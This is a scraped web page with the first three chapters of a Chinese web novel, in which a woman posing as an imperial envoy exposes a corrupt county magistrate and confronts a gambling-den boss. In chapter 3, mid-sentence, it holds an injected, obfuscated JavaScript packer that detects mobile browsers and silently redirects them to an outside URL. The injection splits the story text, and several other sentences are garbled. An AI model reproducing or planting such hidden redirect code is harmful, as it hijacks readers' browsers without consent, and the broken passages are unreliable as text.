《我靠抄家发大财》 1. 第 1 章 额上有伤,肚子干瘪,布衣褴褛。 罗依依魂穿过来时就是这副窘境。 单薄的罗依依身披官袍站立在县衙大门前,双手止不住地颤抖。 阿贵见她迟迟不开口,只是目光呆呆地看向庄重巍峨的大门,两指手指轻轻敲了敲她胳膊,问道,“阿姐,你……是不是害怕了后悔了?如果后悔了,没事,我来。” “谁说我害怕了?”罗依依斜着眼睛看向矮她一头的阿贵,两根手指压住他正摩拳擦掌的胳膊上,“我是激动。” “激动?这可是掉脑袋的活,”阿贵疑惑地看向罗依依,在确实看见她眼里闪过的火花,认定她没有说谎时,他疑惑地问,“你为什么会激动?” “不瞒你说,我很早就想这么干了。” “什么?你很早就想假冒……” 罗依依捂住他的嘴,灵动的眼睛如气愤的小兔子瞪着阿贵,反问,“废话,难道你没有这么想过?” 看见当铺柜台后掌柜的手中厚厚一沓银票时,看见赌坊老板算盘桌底下露出白花花银子一角时…… 他俩彼此对望一眼,都瞧出了对方才是那个不正常的之后,阿贵猛然摇摇头,垂下眼皮难过地说道,“我从未这么想过,要不是家里实在揭不开锅,祥叔为了祥嫂都……” 云祥村的惨况在罗依依面前一闪而过,她忍不住打了个哆嗦。 “哦,那是因为,”罗依依一句一句一本正经地说道,“你顶着的是你自己的脸。” 阿贵满脸疑惑地摸着下巴,“依依姐,为什么我有时候听不懂你说的话?难道你顶着的不是你的脸?” “你不用听懂,”罗依依瘦弱的肩膀强撑着官服,一改吊儿郎当的神情,目露凶光地斜视阿贵,“还不快去叫门。” “是,大人。” “钦差大人驾到,尔等还不速速出来相迎!” 阿贵喊了三遍。 一阵寂静的冷风刮过,卷起一片枯黄的叶子,罗依依眼看着这片叶子打着旋飘起又落下,门前没有一丝动静。 县衙两扇朱漆大门紧闭着,门前石狮子的眼睛蒙着一层灰像是也懒得再看罗依依一眼。 凄凉且滑稽。 滑稽的是罗依依。 “岂有此理,”她这暴脾气不能忍,环顾四周踱了几步,抽出一旁鼓架上的鼓锤放在手心掂了掂,用力地敲在大鼓中心。 积着厚厚一层灰的鼓面被罗依依这般肆无忌惮地一敲,激荡起来朝着她扑面而来,她始料未及吃了一大口,忍不住咳嗽起来。 出师不利,不吉利。 第一声沉重的鼓声像是敲在朽木上,打破沉寂的早晨,惊起了屋檐上两只瘦骨嶙峋的乌鸦。 但衙门大门依旧毫无动静。 第二声鼓声比第一声响了一点,但还是沉得发闷,罗依依依旧吃了一鼻子灰。 县衙旁的土墙前有许多灾民斜靠着,他们之中大多数人都听见鼓响,眼皮动了动微微睁开,想伸长脖子看看究竟发生了何事,但因为饿了几十天,已无力再有多余的动作。 当罗依依抬起胳膊敲第三下时,县衙守门的差役打了个哈欠推开门,眯缝着眼睛还未看清来人,就破口大骂,“什么人一大早就跑来县衙?真他妈晦气。都什么时候了,饭都吃不饱了,还来鸣冤?你可知尔等贱民击鼓鸣冤得先打一百杀威棒?” 阿贵和罗依依互相看了一瞬,阿贵立刻心领神会地骂道,“大胆!没想到赤地县差役如此嚣张,大人你一定要好好整治。” 罗依依点点头看向差役,“哦?你难道也想打本官棒子?” “老子看你是挺大胆的,”差役抬头终于看清一身官服,高八度的声音瞬间细弱蚊叫,“你……是何人?” 阿贵高声道,“见到钦差大人为何不跪?” “钦差大人?”差役揉了揉眼睛,收敛起放肆的目光,但还是忍不住从头到尾扫视了一下,“你?” “没长眼的东西,不是我,”阿贵面露凶相,啐了一口,“难道是你这龟孙?” “你!” 阿贵朝着罗依依让开半个身位,笑脸对上罗依依,“自然也不是我,这位才是钦差大人。” 罗依依将鼓锤随意地丢在地上,掸了掸官服,斜靠在胳膊上的一柄长剑顺势指着差役,双眼射出两道凌冽的寒光,声音不高却掷地有声,“还不速速叫县长滚过来接旨。” 差役似乎被罗依依的气场给震慑住了,扶了扶官帽连滚带爬地跑进衙门。 不过一瞬,那扇朱漆大门豁然打开,阳光顺着大门铺洒一地,让这本就干涸贫瘠的土地越发脆弱,仿佛一捏就碎。 随之而来的是一个庞大的身躯挡住了阳光,他面带微笑地捋了捋胡须,“哪位是钦差……大人?” 罗依依冷哼一声,“钱伯钧,你真是有眼无珠得厉害,我……本官这么大一人站在此处,你竟然没看见?” “诶呀,下官拜见……钦差大人。” 钱伯钧忙抬起手,忽地一只枯槁的手轻轻地扯了扯他的官袍,阿贵一眼就认出了这个藏在钱伯钧身后的干巴老头是他的主簿。 “只是……”钱伯钧与他默契地点点头,脸上堆满了笑容,快步走到罗依依跟前唯唯诺诺地行了礼,一双小眼珠子则眯缝起来观察眼前这个身材单薄的上官。 “钱伯钧,你别笑,你一笑这满脸的横肉都挤在一起,看着我恶心。” 罗依依捂住口鼻强忍住厌恶之感,肚子却不争气地叫了起来,她假装咳嗽了几声遮掩,那双小眼珠子立马就嗅到了蹊跷之处。 阿贵担忧地看向罗依依,只见她不慌不忙地说道,“这鸟不拉屎的地界害得本官已经好几日不得食肉,真是晦气。” 钱伯钧被吃了个闭门羹不好再开口,干巴老头宋主簿笑道,“上官恕罪。这儿天高皇帝远,我等也未见过什么钦差大人到访过本县,所以我等斗胆请钦差大人出示大人的官帖。” “是啊,大人一路上舟车劳顿真是辛苦了,”钱伯钧收敛起笑意说道,“只要大人把官帖拿给下官看一眼……” 话音未落,那把长剑尚未出窍横在钱伯钧的脖子上,罗依依凑近钱伯钧,对上他那俩如绿豆般的小眼珠子,“尔等七品小官胆敢要本官的官帖,你也配?” 被上官奚落是家常便饭,钱伯钧倒是无所谓,宋主簿毕竟老辣,他们在赤地县这么多年都未曾见过什么钦差大人,也并未收到上级通知,再看一眼眼前人皮肤白皙干瘦,极有可能是假冒的。 “下官自然是不配的,只不过依据本朝律法,凡钦差大臣,奉特旨出巡,俱给奉差勘合与钦差关防。所至州县,地方官须先验勘合火牌,再覈关防篆文,无误,方以钦差之礼迎谒。勘合不符,或关防有疑,许地方官羁留其人,飞章奏闻。敢有怠慢或滥放者,以失察论罪。” 末了钱伯钧补了一句,“失察罪,下官是万不敢担的,还请上官给行个方便。” 阿贵听着这一条条听不懂的条律,脸色白了又白,罗依依笑着恭维道,“钱大人不愧是进士出身,法律法条一清二楚,来这赤地县真是埋没你的才华了。” “大人谬赞。” 宋主簿又接话道,“都是走个过场,大人举手之劳而已,何必为难下官们。” 阿贵满脑门的汗,咽了口唾沫直愣愣地看着罗依依,仿佛在说阿姐都靠你了。 钱伯钧冷哼了一声,目光像是盯着一只恶臭的老鼠似地厌恶,故作诧异,“怎么了大人,连官帖也找不出来?” 罗依依耳朵听见躲藏在大门后的差役们刀出鞘的清脆声音,她却向前缓踱半步,目光迎着钱伯钧,像是看着正在吐信子的毒蛇,既然已经走上这条不归路,她就要无惧他的目光。 罗依依咬着牙缓缓吐出一个字,“好。” 门口的灾民或躺或坐都睁了眼,目光都落在她身上,而她静静地看着钱伯钧,从官袍宽袖之中缓缓抽出一物呈在他面前。 那张满脸横肉的脸笑起来,“大人明鉴,恕下官眼拙,这不是官帖,莫不是大人搞错了?” “钱伯钧,你别说本官不给你机会,你可看仔细了,看看是否认识这封信?” 钱伯钧努力睁开他那双眯缝的眼,小眼珠子并发出恶毒的目光,赫然看见信封上触目惊心的血手印,罗依依用自己的手指贴着血迹地方, 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“恭迎上官,钱大人不知上官前来有失远迎。” “上茶。” 罗依依还未坐定,宋主簿笑吟吟地晃动着折扇,“不知这信大人是从何而来?” “朝廷的事也是你能过问的?”罗依依斜眼一瞪,指尖摩挲着这封血书,“钱伯钧,你可知你闯下大祸!这封血书被人送到了京城!” “这书里写的完全子虚乌有,上官明鉴,”钱伯钧瞬间给罗依依跪下,与此同时又给宋主簿使了个眼色,他心领神会地退了下去,隔了不多时又折了回来。 宋主簿道,“大人一路上跋山涉水,想来是饿了,小的已经备下酒菜,请大人移步至后堂。” 这县衙前堂四周皆是差役,若是到了后堂,万一有所差池岂不让钱伯钧瓮中捉鳖? 她罗依依是狡兔,也不想做乌龟。 既然明知本官一路劳顿,为何又要我走去后堂?” 宋主簿急忙解释道,“大人有所不知,钱知县为了赤地县百姓殚精竭虑,成日吃住都在后堂,故而想请大人去后堂叙话。” “钱大人真是为民请命的青天大老爷,”罗依依话锋一转,“只不过本官与钱伯钧并无私交,来赤地县所为公事,就在此处吃。” 钱伯钧一愣,还是宋主簿先反应过来,“是,大人说什么是什么,小人现在就挪过来。” 不一会一桌菜满满当当,鸡鸭鱼肉应有尽有,有些菜连罗依依也叫不上名儿。 罗依依与阿贵已经十几天滴米未进,但他俩看着这桌菜完全没有胃口,他俩不约而同地想到了云祥村里祥嫂瘫在床上奄奄一息,祥叔已经将刚出生的儿子放在案板之上,他们整个村落一共35户人家,如今只剩下一半不到,其中多数人也快饿死了。 罗依依默默地闭上眼睛,眼皮垂下的那刻一道亮光闪过,钱伯钧笑道,“大人,这些都是下官孝敬您老的,还望上官别嫌弃。” 阿贵看着这一箱白花花的银子,强忍住怒意问道,“朝廷旨意让钱大人开仓放粮,大人不是说赤地县钱粮均已告罄,请求朝廷紧急拨款?这哪里来的钱粮?” “嘿嘿,”钱伯钧笑着打哈哈,“这赤地县就算再穷也不能少了大人的孝敬银子,不知大人可否满意?” 阿贵指着大门外那些瘦成枯槁斜靠在墙边的灾民,问道,“难道大人就没有看见这些快要饿死的百姓吗?” 钱伯钧笑道,“那些贱民哪里能和上官相比?” 罗依依压住阿贵颤抖的手笑着点头,一根手指迅速将箱盖子盖上,“本官非常满意。” “上官满意便好,下官肝脑涂地。”钱伯钧笑着落座,“上官赶紧上座,随便吃些。”大人若无事可多待些时日,这赤地县虽贫瘠,但有些土味尚能入口…… 只依依脸脑袋确是嗡嗡作响,满脑子都是祥叔举起菜刀对着他不满一岁的孩子……她强忍住口中酸涩,高举起一卷黄封,“钱伯钧,你可知罪?” 钱伯钧定睛一看才瞧出这是圣旨,慌忙跪下,“下官不知……何罪之有。” 2. 第 2 章 县衙墙外连风刮起的尘土里都带着一丝将死之人的微甜。 墙皮早就被人扒光,露出里面夯得结实的黄土,风轻轻一扬,吹人满面风沙。斜靠在墙外的灾民胃早就不会叫了,缩成一块硬邦邦的石头,坠在空荡荡的腹腔里。 忽地一只干瘦的老鼠从几人面前窜过,其中一人两眼放光,猛然抬手一抓,攥紧老鼠的尾巴,他连忙往嘴里塞,咬到自己的手指。 是啊,如今的赤地县哪里还有老鼠可吃? 耳朵里嗡嗡的,一丝极细的香气钻进了他们的鼻孔。 那人以为是幻觉。这些天,他总梦见油汪汪的肥肉,梦见过世的老娘掀开锅盖,白茫茫的蒸汽下面是金黄的贴饼子。 县衙内阵阵饭菜香顺着大门飘了出去,像是一根无形的绳子牵引着倚靠在墙边的灾民,他们一个个挣扎着爬起身,有些人饿得站不起来,四肢如狗一般爬到门边。 罗依依高声说道,“钱大人,你管辖的域这般民不聊生,你还敢问我何罪之有?” “这……”,钱伯钧看向宋主簿,“小眼珠子里闪过无尽的委屈,那双油光锃亮的手掌一摊,天灾人害,焉是下官能掌控的?” 罗依依并没有阿贵这般愤怒,贪官污吏自古有之,但能像这人这般厚颜无耻简直凤毛麟角。 罗依依扬了扬嘴角笑起来,“天灾人害确实不是你能掌控的。” “大人说得极是,烦请大人能在上官那头替下官美言几句,一定要替下官陈情赤地县的情况。” “钱伯钧,你二十岁中举人,二十五岁成进士,一甲第三名,先帝亲赐你入翰林院,当年立志报效朝廷的人如何变成现在这副模样?” 钱伯钧脸色青一阵灰一阵,嘴张了合合了张,隔了许久才扯了扯,“罗大人看着年轻,没想到倒是对本官了如指掌。” “钱伯钧,你侵盗国帑,罔恤民命,克扣朝廷赈济钱粮,勾连奸商转卖于市,致使官仓空竭,朝廷明诏蠲免之赋,尔敢复巧立名目,倍蓰征收,导致灾民鬻妻卖子。你简真人神共愤。” “大人,下官冤枉!朝廷发的赈灾粮款清单数目,下官已经交由上级,大人可查,至于这些灾民是他们贪得无厌,大人明鉴。” “本官希望你进了昭狱也能这般挺直腰板说话。” 罗依依从袖中缓缓掏出黄卷打开圣旨,“奉天承运,皇帝诏曰,赤地县灾异频仍,黎庶流离,然据及该县民人等冒死陈告:尔赤地县知县钱伯钧,竟欺天害理,丧心病狂。立即查抄犯官钱伯钧原籍及任所一切财产。” 阿贵瞪了两旁差役一眼,“你们还愣着干什么,还不速速将钱伯钧拿下!” 差役们闻声都愣在原地,不敢动作。 一荣俱荣一损俱损。宋主簿一咬牙立刻站起身来,“我看谁敢!来人,此人冒名钦差大人,尔等即刻拿下。” 差役们又面面相觑,一面是皇帝派来的钦差大臣,一边是顶头上司。 钱伯钧也跟着呵斥道,“尔等傻站着干什么!难道忘了你们究竟是何人之差役?” “呵,”罗依依笑着摇头,“钱大人这问题问得好,他们自然是朝廷的差役,普天之下,自然是陛下的差役,而本官手握圣旨,代表圣上。钱伯钧,你想抗旨吗?” 钱伯钧咬着牙说道,“快,诸位兄弟拿下这俩冒牌货者,本官重重有赏。” 俗话说不怕县官,就怕现管。终究是顶头上司的话管用些。 十几名差役拔出长剑对准罗依依。 这情况是罗依依始料未及的,她天真的以为只要伪造圣旨和尚方宝剑就能蒙混过关,这区区县衙尽在她掌握之中,现在看来并非如此。 大刀横架在罗依依和阿贵的脖子上,阿贵从小生活在云祥村,哪里见过这种阵仗,他吓得体似筛糠,“大人救我。” 其实罗依依也没比他好到哪里去,但她此刻是朝廷派来的钦差大人,堂堂皇差不能慌。 钱伯钧又眯缝着眼睛笑道,“来人,给我押下去。” 怎么办?罗依依看着薄如蝉翼的刀刃就横在脖颈处,只要稍稍向前便身首异处,她面色平静,心却急得如热锅上的蚂蚁。 假冒钦差要掉脑袋,可没想到掉得这么快。 罗依依知道自己并不叫罗依依,她是魂穿过来的。昨日她睁开眼便见自己躺在悬崖底,浑身是伤,她不记得自己是谁,万幸留了一条命。而今日她的命难道也要不保了? 不行,她摔下悬崖也没死成,想来命不该绝,她要殊死一搏。 见罗依依迟迟不肯离开,宋主簿给钱伯钧使了个眼色,双眸之中尽显凶恶之光,钱伯钧心领神会。 罗依依自然猜出了这两人的心思。 这里山高皇帝远,钱伯钧将她与阿贵杀害埋尸荒野,佯做成山匪所杀,神不知鬼不觉,若是将来朝廷追究起来也只怪他俩运气不好。更不成想,他俩就是冒牌货,死不足惜。 罗依依冲着门口脱口而出,“造反了造反了,尔等可知挟持钦差大人是何罪?” 举着刀的差役并不是傻子,自然也心有疑惑,这一丝的松动便是罗依依目光所见的曙光! “钱伯钧负隅顽抗,妄图挟持钦差大人,等同于谋反,诸位也要跟着他谋反吗?本官是朝廷命官,为国捐躯死不足惜,若是日后朝廷追究起来,他钱伯钧满门抄斩,尔等也想跟着他人头落地?尔等家眷老小是不是也要跟着尔等一起上黄泉?” 宋主簿声音洪亮地说道,“诸位兄弟,且听我一言。我敢肯定你们面前小儿并非钦差,这圣旨与尚方宝剑都是假的。” 罗依依问,“为何宋主簿这般肯定?” “你方才说你手上这封密信是那人手抄的,此话就是假的,那日这般匆忙,他如何有时间再抄一份?” 没想到是这里露出破绽。 罗依依竖起大拇指,赞叹道,“宋主簿不愧是宋主簿,机智过人。” 凛冽的目光微微一闪,问道,“不过,你敢赌吗?” 你敢赌这世上没有第二封密信吗?你敢赌我不是钦差大臣吗? 宋主簿迅速和钱伯钧交换了一个眼色,罗依依笑着对一众差役及门口的灾民说道,“密信里正是赤地县历年亏空的细目,还有这狗官与几位大人的分润比例,此密信已呈交给圣上,陛下勃然大怒才派本官来此处,没想到钱伯钧如此胆大妄为,妄图谋害本官,尔等想做帮凶吗?” “本官只要钱伯钧一人,若是尔等此刻缴械投降,本官既往不咎,若是尔等负隅顽抗,日后满门抄斩休要怪朝廷不给尔等机会。” 宋主簿被罗依依这样给震慑住了,心里发毛得厉害,甩了一巴掌给距离他最近的那个差役,“跟他俩废什么话,此人满口胡言,尔等还不快点将他就地正法。” “你们睁开眼看看门外的灾民,本官为民请命,尔等家中难道没有妻儿老小?他们还在啃树皮吃观音土,你们再看看钱伯钧吃的是什么?” 门外的灾民朝门内张望,他们早已听不清罗依依的话,混沌的目光被这一桌子菜吸引了去,这些差役们将目光投向了其中一位大汉,似乎都在等他的眼色行事。 罗依依也顺着目光看向了他,差役中有一人面相凶恶,狼顾虎视,她大喝一声,“韩沧,你可是韩沧?” 那面相凶恶之人定睛看向罗依依,“你认识我?” “我不认识你,但我认识你的兄长,”罗依依问道,“你可知你兄长韩林为何失踪?” 钱伯钧急了连忙捂住罗依依的嘴,被阿贵抢先一步反咬住他虎口,罗依依扯着嗓子喊道,“你兄长冒死将这封血书送出去,难道你要助纣为虐让你哥枉死吗?” 韩沧瞳孔俱缩,“什么?” 将横刀竖在罗依依脖子上的差役望了一眼韩沧,不敢轻举妄动,罗依依只觉寒光一闪,一丝血腥味窜入鼻尖,脖上 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“你们反了!反了!”钱伯钧、宋主簿双手被负在身后,他披头散发地跪在地上,“韩沧,没想到千防万防家贼难防。” “钱大人,等卑职弄清楚家兄死因,再向您赔罪。” 刚才以刀挟持罗依依的男人看向韩沧,“韩大哥,你……” “为难各位兄弟了,”韩沧深作一揖,“今日的错全由韩某一人承担,日后绝不牵连诸位。” “不必,我可是钦差大臣,要你这小小差役承担什么?”罗依依说道,“朝廷尚未派遣官员来赤地县之前,赤地县县衙暂且由本官接手,尔等听命只是行事。若是朝廷怪罪,本官一力承担。这钱伯钧草菅人命为非作歹,难道诸位兄弟心中不怨不愤吗?” 诸位差役低下头默不作声,阿贵笑呵呵地说道,“就是就是,各位还是要信我大人。” 罗依依一口气未松,那柄钢刀又横在她脖子上,韩沧瞪着她说道,“你刚才说的话是何意,还不速速说来。” “我答应你给你证据肯定能给,”罗依依转身想要后退,韩沧以为她要逃,抓住她手腕,罗依依极其不耐烦地一推,“但现在我们有更重要的事要做。你们先将钱伯钧与宋主簿关押进地牢。” 韩沧愣在原地,“既然上了船就别想着下船,如今我俩是一根绳上的蚂蚱,”罗依依看向钱伯钧,“他俩可老奸巨猾,可得看紧了,若是他俩逃了,你以为你能逃得了干系?” “这……”韩沧冲着两位差役点点头,钱宋二人被关押下地牢。 韩沧冲着罗依依伸手问,“我要的证据呢?” 罗依依朝着韩沧一瞪眼,“县衙可有白粥?” 韩沧被她一瞪气势没由来的减弱下来,“后厨有些。” “愣着干啥,快点端出来。”罗依依扭头又对诸位差役说道,“你们快来帮忙。” 罗依依帮忙把门外的灾民都扶进前殿,“诸位乡亲,我知道大家都饥饿难耐,但诸位已几日未食,万不可马上食荤,请先饮些白粥。” 这些饿得两眼发昏的灾民早就没有力气,被差役们灌下小半碗白粥才勉强爬起身。罗 阿贵凑到罗依依身边小声问道,“阿姐是如何对钱伯钧的底细这般清楚?” “我也不知自己如何知道,只是方才危机时刻突然从脑中冒出来。”话一出口,就连罗依依自己都觉得滑稽可笑,她抬头却撞进阿贵的眼中。 “阿姐别着急,我信你。” 依依又从刚才钱伯钧贿赂她的那箱银子里拿去几锭银子递给阿贵,“你脚程快,先去医馆请大夫照料沿路灾民。” 阿贵拿着钱又问,“那云祥村呢?” “别急,,我有主意你先去办。” “你跟我来,”韩沧莫名地就跟着罗依依走去后堂,“我有圣旨在此,陛下让微臣查抄钱伯钧的财产,我需要你记录清点名册。” 3. 第 3 章 韩沧横眉倒竖,双手抱胸,“我凭什么听你的?” 他面目可憎,目光如狼,旁人不敢直视,通常审问犯人极占优势,却对罗依依毫无用武之地,她掏出帕子擦拭脖子上的被刀划的口子“你不想知道你哥韩林真正的死因吗?想知道就得听我的。” “你!” 她眨了眨眼往后堂走去,韩沧直愣愣地呆在原地,一盏茶功夫前他还剑指着面前这位钦差大人,可此刻他却只能被她拿捏。 后堂陈设很简单,只有一间上了锁的库房。韩沧眼疾手快拿起铁锹手起刀落之间就敲断了锁,他的几个小兄弟闯入每间屋子查抄钱伯钧的财产。 罗依依倒还真像个官老爷似地将那卷圣旨轻轻塞进衣袖中,拖了一把躺椅在院中,她两手提起官袍,翘着二郎腿一摇一摇地指挥着包括韩沧在内的几个差役查抄每间屋子。 竹编躺椅咿呀咿呀地嘎吱作响,罗依依一手托着下巴看着摆在自己面前的财物。 几坛绍兴花雕,封坛三十年,泥头完好,坛身沁着暗褐色的酒晕。是好酒,但不值钱。 一摞田契地契,有赤地县的田,青溪县的田,每张背面,都用蝇头小楷记着亩数。 “就这些?” 韩沧和两个差役提了一个大箱子摆在罗依依面前,“大人,这一箱是从库房的墙后找出来的。” 罗依依并未看箱子,而是问韩沧,“你怎会去查库房的土墙?” “我发现库房墙角的砖块略有松动,试着抽出一块才发现。” 罗依依点点头,将盖子一掀,箱子里并非官银,是私铸的十两小锭,她掐指一算不过一百两。 【恭喜钦差罗大人,荣获查抄初学者荣誉。】 【财产+100两,余额:100两。】 站在两旁的差役眼红地看着这箱银钱,罗依依微微蹙眉,“三年清知府,十万雪花银,才一百两,这未免也太少了一点。” 罗依依又问韩沧,“你确定你搜干净了?” 另一位差役瞧着罗依依好一副官威,忍不住替翰沧辩解道,“大人说得什么话,韩大哥是我们之中最有经验之人,他搜过的地方保证不会出差错。” 罗依依越过这差役,目光落在他身后的那扇门上,她举起尚方宝剑拨开他的脸,径直走向那扇门。 “这是钱大人平日里的卧房。” 韩沧不知罗依依为何突然对墙上的这幅画产生了兴趣,跟在罗依依身后问道,“大人,你在看什么?” “看不出来钱伯钧人长得跟死肥猪似地,品味倒挺雅致的,”罗依依将墙上的那幅画拿下来,“倪瓒的《容膝斋图》,这副是真迹。” 罗依依也不知自己为何这么清楚这是不是真迹,但她就是能一眼辨出古物真假,她取下墙上画作卷了起来。 阿贵冲了进来,“阿……大人,我已经按照大人吩咐将沿途灾民安排的医馆,但……” 罗依依知道阿贵想说什么,他俩假扮钦差的目的是为了云祥村的村民。 今日她与阿贵出门前,祥婶已饿得昏过去,祥叔提着最后一口气将刚出生的孩子搁在案板上,他面色阴沉,平静得可怕,甚至没发出一声声音。 若不是阿贵的老娘发现,怕只是为时已晚。 她指着韩沧,“你俩提着钱跟我走。” 【罗大人,确定要将入库一百两取出?财富累积有利于尽快进阶,也有意于脱离该世界,请大人考虑清楚。】 “去哪里?”翰沧问。 “云祥村。” 罗依依双唇紧抿,目光望向云祥村入口处的三个大字,对着阿贵说道,“本官即日会奏明朝廷,先将查抄钱财用于赤地县救灾,阿贵你去办,云祥村受灾最重,你务必得救得每一位。” 【财产-100两。余额:0】 “闪开闪开!”一个比罗依依高出一个头的肥硕男子指着韩沧问道,“你们谁是罗大人?” 罗依依早就躲在韩沧身后,冒出头来问,“你找……罗大人干什么?” 那人看了一眼罗依依,又看向面目可憎的韩沧,瞬间收敛起霸道的目光,“自然是有事。” “有什么事你就在这里说,”罗依依说道,“我……们代为转达。” 大块头指着罗依依问,“你是罗大人吗?” 韩沧瞅了一眼身后的罗依依,那目光好似在说瞧你这没出息的样儿,高声呵斥道,“你究竟有何事找罗大人,还不快快说来?” “罗大人的老爹在赌坊欠了一大笔银子,被扣在赌坊,咱家就是来问问罗大人何时拿钱去赎?” 罗依依扶了扶自己的官帽,又轻轻咳嗽了一声才敢看向韩沧,“韩差役,随本官走一趟吧。” 韩沧自然猜得出这位罗大人的心思,此人来路不明,他可不想做她手上的刀剑,翰沧摇头,“此事是大人私事,我等不得插手。” “非也非也,”罗依依掏出那副《容膝斋图》对他说道,“此事是公事,事关钱伯钧的私产,若是查抄不全是你与我之罪,你得与本官共担。” 阿贵凑过来轻声问道,“阿姐,你怎么不让我和你去?” 罗依依嫌弃地看了他一眼,“你有他这这么面目可憎吗?” 阿贵摇头。 又问,身你有他这吗?” 阿贵连退数步说道,“我留下来给罗大人安置灾民,给罗大人干活。” 赤地县是旱灾最严重的灾县,都这般民不聊生了,可赌坊的生意倒是不见清冷。 再过两个时辰,这赌坊一条街两侧都会齐齐点起灯笼,朱红纱罩,描金穗子,从门楣一直挂到街心,照得半条巷子像泼了猪血。 只是如今是白日,这赌坊一条街犹如暮气沉沉的将死之人奄奄一息。 车轱辘缓缓停在一条街上最大的赌坊门口,罗依依掀帘而下马车仰着脖子看赌坊的名字。 “如意赌坊。”罗依依笑道,“果然好名字。” “官爷救命!” 纤细的五指抓住罗依依的手腕,宛若是汪洋中最后的稻草,罗依依只觉手腕被抓得生疼,她对上一对楚楚可怜的眸子。 “官爷救命,求求官爷救救我。” 那瘦弱的女子扑通跪在地上朝罗依依叩头,罗依依伸手去扶她却被从赌场里出来的龟奴一推,大块头呵斥道,“你干什么?这位是钦差大人,是尔等能冲撞的吗?” 龟奴连忙赔笑,“真是冲撞的大人,小的罪该万死。” 女子仿佛看到了希望,她哭喊着扑到罗依依怀里,“青天大老爷,你一定得救我,我不想被卖去妓院,我给大老爷磕头。” 罗依依看向大块头,龟奴解释,“大人恕罪,此女子的父亲已将她抵给了赌坊,这是此女子的卖身契,请大人过目。” 罗依依接过卖身契一目十行,对着瘦弱的女子说道,“这是你的命,由不得别人。” “好嘞。”龟奴一把抓住女子的手腕,像提小鸡似地提着就走。 “慢着。”罗依依听见女子撕心裂肺的喊声,目光落在自己手腕上,刚才被这女人抓得显出两条红痕,像是鲜血一般鲜艳。她扭头看向大块头说道,“我找你们当家的谈事,她这样吵吵闹闹哭哭啼啼的……”罗依依眯缝着眼睛厌恶地看了一眼这女子,“晦气。” 龟奴瞅了一眼大块头,见大块头微微点头,才笑道,“明白!小的先把这女子关进柴房,待大人与当家的谈完事,我再将她送去妓院。” “如此甚好。” 韩沧恶狠狠地看向罗依依,罗依依毫不在意,端着“怎么,韩差役要替这女子赎身?” 韩沧偏过头去用一种莫名其妙的目光看向她,“卑职哪里有钱?”官“那就不要多管闲事,这世上悲苦的人多了去了,你还能每个都救?不过都是蝼蚁罢了。”罗依依威目不斜视找了个圈椅坐下,“谁是当家的?” 当家的未见,扑面而来的是个老头。 “女……儿子……快来救救爹!” 罗依依仔细打量了一眼,捂住鼻子后退了半步,“阿爹该洗澡了,你本就不着家,如今这般容颜,做儿子的我差点认不出你来。” “儿子,我的好儿乖儿,你快救救我,你若不救我,我要被他们打死了。” 罗依依顺着老爹的目光看到坐在主位之上的当家人。 “这么说来罗老三没说谎,他真的有个做钦差的儿子?”龟奴给罗依依上了一盏茶,开口的就是当家人,“鄙人姓孟,行七。大人可以叫我孟老七。” 罗依依朝孟七拱了拱手,“七爷,我阿爹统共欠你多少银子?” 孟七伸出手指比了一下,“不多不少,正好五百两,今日叫大人前来……” 罗依依端起茶喝了一口,抱怨道又啐了一口吐在地上,“这赌坊的茶真难喝,都是茶叶沫。” 孟七虽比不上官老爷,但在这赌坊一条街上也是说一不二的人物,他说话时从来没有人敢打断,罗依依是第一个。 孟七瞅着罗依依这清秀明亮的脸冷冷哼了一声,倒也不失礼数,“去给罗大人换一杯茶。” 罗依依又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353366|199658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“若是我阿爹还不出该如何?” “还不出?”孟七一个眼神,大块头掐着罗老三扑过来,罗老三的右手啪的一声拍在桌上,“那就先剁了手。” 罗老三哭丧地叫道,“儿子,你快和他们说你有钱,你拿的是朝廷俸禄啊,朝廷给的只多不少。” “不过嘛,”孟七又说道,“他有你这么个儿子,父债子偿,天经地义。” “七爷,你这就有点不讲道理了,我朝律法也没有规定父亲欠了债,儿子就一定要还啊。” 孟七未开口,那个大块头先开口了,“大人,你可不要欺负咱家没念过书,咱家是不懂什么律法,但子承其业,继其产者,必偿其债的道理咱家还是懂的。” 罗依依没忍住笑出了声,“你说得对。但这有个条件,就是父先亡。敢问七爷,父先亡,懂否?” 我朝太祖以孝治天下,此话大不敬。 在场人都不敢接话。孟七收起笑容,朝大块头使了个眼色,此人一把将罗老三提起摔在地上,“既然如此,那咱家便不客气了,先剁一手。” “依依,救我,我真的知道错了,我再也不赌了,只要你救我这次。” 罗依依道,“慢着。” 大块头闻言又停了下来,罗依依又问,“如果我也还不上呢?怎么,七爷你难道也想剁我手?” “自然不是,朝廷命官的手我自然不敢剁。不过常言道强龙压不过地头蛇,别看大人你是钦差大人,今日你若还不上也出不了我这个赌坊。” 翰沧一直站在罗依依身后,只有他站的角度能看见罗依依藏在官袍之下的手指时而紧握时而摩挲,贴着手掌的官袍颜色深了些。 罗依依点点头,“行,既然我也走不了,闲着也是闲着,我们来赌一场吧。” “大人要和我赌?”孟七那双见惯刀剑死尸的眼睛里闪过一丝诧异,此人虽穿着官服,却不按常理出牌,他阅人无数,一时间也拿捏不准这位罗大人的心思,又问,“大人可是想从我这儿赢走五百两?” 罗依依摇头,“五百两太少了,本官要赌就赌大的。” 大块头眼睛眯起来,完全不把纤细的身影当回事,斜睨着眼睛问,“大人你有银子吗?” 罗依依掏出刚才从钱伯钧家里顺走的《容膝斋图》拍在桌上,“这副画放在市面上少说也值三千两,就看七爷敢不敢和我赌了。” 翰沧心里一惊,小声问道,“大人,容我提醒一句,此物现在是属于朝廷的,你若私自拿去……” “你不说我不说谁会知道?还是说你要检举我?可今日是你与我一同来赌坊的……” 翰沧…… “好,那大人要赌什么?” 这回轮到罗依依鄙夷地看向孟七,清澈明亮的眸子来回扫视这位当家人,“七爷,你们这穷乡僻壤的地方,有值三千两的物件吗?” 孟七笑了,“大人放心,我开赌坊这么多年,区区三千两还是拿得出手的。” “我不信,我要验资。” 